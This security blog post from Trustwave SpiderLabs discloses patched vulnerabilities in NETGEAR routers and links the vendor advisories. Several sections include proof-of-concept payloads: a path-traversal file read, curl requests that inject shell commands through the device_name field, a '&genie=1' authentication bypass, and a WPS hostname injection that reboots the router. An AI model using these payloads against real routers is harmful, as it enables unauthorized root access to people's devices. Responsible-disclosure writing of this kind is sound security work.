Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

Multiple Vulnerabilities in NETGEAR Routers

Last year I discovered multiple vulnerabilities in NETGEAR products. Now that these vulnerabilities have gone through the disclosure process and have been patched we can discuss the technical details.


TWSL2018-002: Password Recovery and File Access on Some Routers and Modem Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18724

NETGEAR advisory: https://kb.netgear.com/000045848/Security-Advisory-for-Password-Recovery-and-File-Access-on-Some-Routers-and-Modem-Routers-PSV-2017-0677

Some routers allow arbitrary file reading from the device provided that the path to file is known. Proof-of-concept for Nighthawk X8 running firmware or earlier:

curl -d "id=304966648&next_file=cgi-bin/../../tmp/mnt/usb0/part1/README.txt"

The above will fetch README.txt file located on a USB thumb drive inserted into the router. Total of 17 products are affected. Specific models are listed in the Advisory notes.


TWSL2018-003: Finding 1: Post-Authentication Command Injection on Some Routers and Modem Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18726

NETGEAR advisory: https://kb.netgear.com/000045850/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-Routers-and-Modem-Routers-PSV-2017-1207

This one affects six products per NETGEAR's advisory. What happens there is root level OS command execution via the device_name parameter on the lan.cgi page:

curl -d "action=Apply&device_name=A%22+%26%26+touch+%2Ftmp%2Fjimmers+%26%26+echo+%22B&sysLANIPAddr1=192&sysLANIPAddr2=168&sysLANIPAddr3=1&sysLANIPAddr4=1&sysLANSubnetMask1=255&sysLANSubnetMask2=255&sysLANSubnetMask3=255&sysLANSubnetMask4=0&rip_direction=1&sysRIPVersion=Disabled&dhcp_server=dhcp_server&sysPoolStartingAddr4=2&sysPoolFinishAddr4=254&select=-1&arp_enable=disable&ipmac_token=0&dev_name=R8500mge&lan_ipaddr="

Note that this attack requires authentication.


TWSL2018-003: Finding 2: Authentication Bypass on Some Routers or Modem Routers

NETGEAR advisory: https://kb.netgear.com/000048998/Security-Advisory-for-Authentication-Bypass-on-Some-Routers-or-Modem-Routers-PSV-2017-1208

This also affects large set of products (17 total) and is trivial to exploit. Authentication is bypassed if "&genie=1" is found within the query string.


TWSL2018-003: Chained Attack: Command Injection on Some Routers and Modem Routers

NETGEAR advisory: https://kb.netgear.com/000048999/Security-Advisory-for-Command-Injection-on-Some-Routers-and-Modem-Routers-PSV-2017-1209

The same set of products is affected. This is a three-stage attack leveraging three separate issues: CSRF token recovery vulnerability (here's a tool to help: https://github.com/SpiderLabs/advisories-poc/blob/master/TWSL2018-003/csrf.c) and the two findings in TWSL2018-003. As a result, any user connected to the router can run OS commands as root on the device without providing any credentials.


TWSL2018-004: Command Injection Vulnerability on D7000, EX6200v2, and Some Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18722 

NETGEAR advisory: https://kb.netgear.com/000049354/Security-Advisory-for-Command-Injection-Vulnerability-on-D7000-EX6200v2-and-Some-Routers-PSV-2017-2181

Only 6 products are affected, this allows to run OS commands as root during short time window when WPS is activated. To prove, add the following line to the /etc/wpa_supplicant.conf file on your Linux box and join WPS initialed on the router.

(Nighthawk X4S):
device_name=MR" /sbin/reboot "

Observe the router reboot! This happens because internal code executed as part of WPS fails to sanitize hostnames.

Trustwave SpiderLabs has worked with NETGEAR through our responsible disclosure process to make sure that these vulnerabilities are addressed. We'd also like to thank NETGEAR for their responsive and communicative PSIRT team. It's obvious that their participation in bug bountieshas helped them improve their internal process for addressing issues like these.

Please check the NETGEAR advisory pages to find the firmware that applies to your router model and make sure that your devices are patched if they are affected.